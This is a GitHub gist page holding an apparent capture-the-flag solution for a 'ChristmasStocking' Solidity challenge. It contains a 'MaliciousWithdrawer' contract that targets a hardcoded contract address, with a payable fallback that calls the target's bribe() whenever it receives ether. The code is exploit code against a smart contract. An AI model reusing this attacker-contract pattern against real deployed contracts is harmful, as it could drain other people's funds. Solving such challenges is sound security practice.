Skip to content

Instantly share code, notes, and snippets.

@NaoyaTabakomori
Created December 27, 2018 15:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NaoyaTabakomori/c0b1698e58a875b8f45af4f915817ef9 to your computer and use it in GitHub Desktop.
Save NaoyaTabakomori/c0b1698e58a875b8f45af4f915817ef9 to your computer and use it in GitHub Desktop.
ChristmasStockingの解法(contranct)
pragma solidity ^0.5.2;
contract ChristmasStockingInterface {
function deposit() payable public;
function bribe() payable public;
}
contract MaliciousWithdrawer {
address contractAddress = 0x408F56C4541BD00Ec836102d06F7Ee6A2A820678;
ChristmasStockingInterface christmasStocking = ChristmasStockingInterface(contractAddress);
function () payable external {
christmasStocking.bribe.value(msg.value)();
}
function deposit() payable public {
christmasStocking.deposit.value(msg.value)();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment